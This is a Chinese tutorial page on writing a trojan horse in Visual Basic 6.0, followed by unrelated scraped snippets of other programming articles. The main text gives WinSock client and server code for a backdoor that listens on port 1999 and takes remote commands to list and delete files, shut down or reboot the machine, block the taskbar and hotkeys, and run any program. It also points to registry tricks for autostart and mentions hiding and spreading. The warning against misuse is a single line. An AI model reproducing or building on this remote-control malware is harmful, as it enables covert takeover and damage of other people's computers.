现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
PrivateSubcmdConnect_Click()
IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then
MsgBox("请输入主机名或主机IP地址。")
ExitSub
Else
IfLen(Text1.Text)>0Then
tcpClient.RemoteHost=Text1.Text
Else
tcpClient.RemoteHost=Text2.Text
EndIf
EndIf
tcpClient.Connect
Timer1.Enabled=True
EndSub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
PrivateSubForm_Load()
tcpServer.LocalPort=1999
tcpServer.Listen
EndSub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求。
代码如下:
PrivateSuBTcpServer_ConnectionRequest
(ByValrequestIDAsLong)
IftcpServer.State<>sckClosedThen
tcpServer.Close‘检查控件的State属性是否为关闭的。
EndIf‘如果不是,在接受新的连接之前先关闭此连接。
tcpServer.AcceptrequestID
EndSub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
PrivateSuBTcpServer_DataArrival
(ByValbytesTotalAsLong)
DimstrDataAsString
DimiAsLong
DimmKeyAsString
tcpServer.GetDatastrData
‘接收数据并存入strData
Fori=1ToLen(strData)
‘分离strData中的命令
IfMid(strData,i,1)="@"Then
mKey=Left(strData,i-1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData=Right(strData,Len(strData)-i)
ExitFor
EndIf
Nexti
SelectCaseVal(mKey)
Case1
‘驱动器名、目录名、文件名
Case2
强制关闭服务器端的计算机
Case3
强制重启服务器端的计算机
Case4
屏蔽任务栏窗口;
Case5
屏蔽开始菜单;
Case6
按照客户机端传过来的文件名或目录名,而删除它;
Case7
屏蔽热启动键;
Case8
运行服务器端的任何程序
EndSelect
EndSub
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
PrivateSuBTcpServer_Close()
tcpServer.Close
tcpServer.Listen
EndSub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用来破坏别人的系统。
怎样用Visual Basic6.0编写木马程序
时间: 2024-11-05 06:25:13
怎样用Visual Basic6.0编写木马程序的相关文章
用 .Net Framework 4.0 制作的安装程序来安装 .Net Framework 4.0 编写的程序
文章题目看起来有点绕,解释一下,假如你基于框架写了一个程序,想装到客户机上,但是客户机上可能并没有安装框架,因此你的程序需要预先将框架安装在目标机上,然后再执行一些安装程序的标准功能,如创建快捷方式.创建程序组.写入卸载信息以便让Windows能够对程序进行卸载管理等,实现这个功能的方法有很多,例如使用InstallShield.Wix Toolset等均可实现此功能. 不过本文并不是介绍使用这些工具的方法,而是要使用框架来编写一个安装程序,实现一般安装程序的复制文件.创建快捷方式.创建程序组.
Rust初步(二):使用Visual Studio Code编写Rust程序(猜猜看游戏)
我是照着下面这篇帮助文档,完成了第一个完整的Rust程序: 猜猜看 游戏 http://kaisery.gitbooks.io/rust-book-chinese/content/content/3.1.Guessing%20Game%20%E7%8C%9C%E7%8C%9C%E7%9C%8B.html 我采用的开发工具是Visual Studio Code, 这应该是目前能找到的最"所见即所得"的编辑器了, 尤其对于我们这种重度Windows依赖症患者来说. 不过需要提出的是,我是在
Visual Studio中编写C程序
相信很多科班出身的程序猿和我一样,第一个接触到的编程语言是C语言,第一个写的程序是“Hello World!”. 对于一个.Net程序猿,VS肯定是个非常熟悉的工具,但是如何使用VS编写一个C语言程序呢?废话不多说,下面还是以“Hello World!”为例,具体如下: 1. 新建项目,选中“Win32”下“Win32控制台应用程序”,输入名称 2.选中“源文件”,添加“新建项” 3.选中“C++文件”,并输入名称“HelloWorld.c” 4.敲入如下代码 5.编译后再运行,输出我们熟悉的"
一步步教你从VC 6.0 转到 Visual Studio 编写C程序
之前一直习惯用VC 6.0编写C程序,但是换到win8或者win10后,VC的各种不兼容,各种闪退实在让人无语.所以转到Visual Studio进行C编程,用过之后发现效果非常好.本文专门为哪些刚接触VS的人员写点自己的心得,同时对初次接触VS可能遇到的问题进行简要分析. 1.怎样用VS配置C工程 对于VS的安装,网上很多安装包,可以根据需要安装.我安装的是VS2010,建议安装VS2013及后序版本.这里不在介绍安装过程,主要以图片形式说明怎么建立C工程: 2.关于自动补全 可以使用快捷键
编写一个程序实现strcat函数的功能
写自己的strcat函数------→mycat 1 #include <stdio.h> 2 #include <string.h> 3 #define N 5 4 5 char *mycat(char *s1, char *s2) 6 { 7 //数组型 8 /* int i = 0; 9 while(s1[i] != '\0') { 10 i++; 11 } 12 int j = 0; 13 while(s2[j] != '\0') { 14 s1[i] = s2[j]; 1
Python编写简易木马程序(转载乌云)
Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: /tips/?id=4413 首先准备好我们需要的依赖库,python hook和pythoncom. 下载安装python hook 下载安装pythoncom模块:
怎么用visual studio2010编写c++程序|用visual studio2010编写c++程序的步骤
如何通过visual studio 2010编写一个简单的c++程序,随小编不一起看看如何编写. 首先打开visual studio 2010 点击软件左上角“文件-新建-项目”,选择“win32-win32控制台应用程序”,输入一个名称如简单程序,点击确定 点击“下一步”,勾选“空项目”,点击完成 右击源文件,“添加-新建项” 选择c++文件,输入名称如简单程序,单击添加 我们以hello world为例,编写如下代码,写好代码,点击“调试-开始执行(不调试)”,发现运行成功.
采用Visual Studio 2017编译c程序教程
第一步打开Visual Studio 2017 第二步按Ctrl+Shift+N打开项目或者依次点击文件-新建-项目 左边选中Win32右边选中第一项,下面是文件位置和文件名称 设置好后确定 点击下一步 按如图所示勾选点击完成然后 右键点击源文件,添加,新建项然后 中间框选择c++文件,下面名称位置原来是.cpp文件,这是编写c++的,如果要编写c程序的话要改成.c 然后就可以点击添加 然后各位小伙伴就可以编写c程序了 编写完后可以右击c程序文件编译,然后可以选择调试下拉菜单选择执行,或者直接按
闲来瞎扯 -- 在vs2008下编写linux程序
虽说vim很强大,但是个人感觉器代码提示功能不如visual assist来的强大.如何使用visual assist来实现代码的提示功能呢? 首先说明我的环境 : 宿主机是xp(O(∩_∩)O~还是xp的好使),虚拟机vmware + ubuntu 9.04 1.首先设置文件共享:安装vmware tools.安装笔记如下 : 将安装文件拷贝到/tmp路径下,解压,进入解压完的目录内,执行install文件.一路完全使用enter键,使用默认即可. 2 将/usr/include目录下的文件拷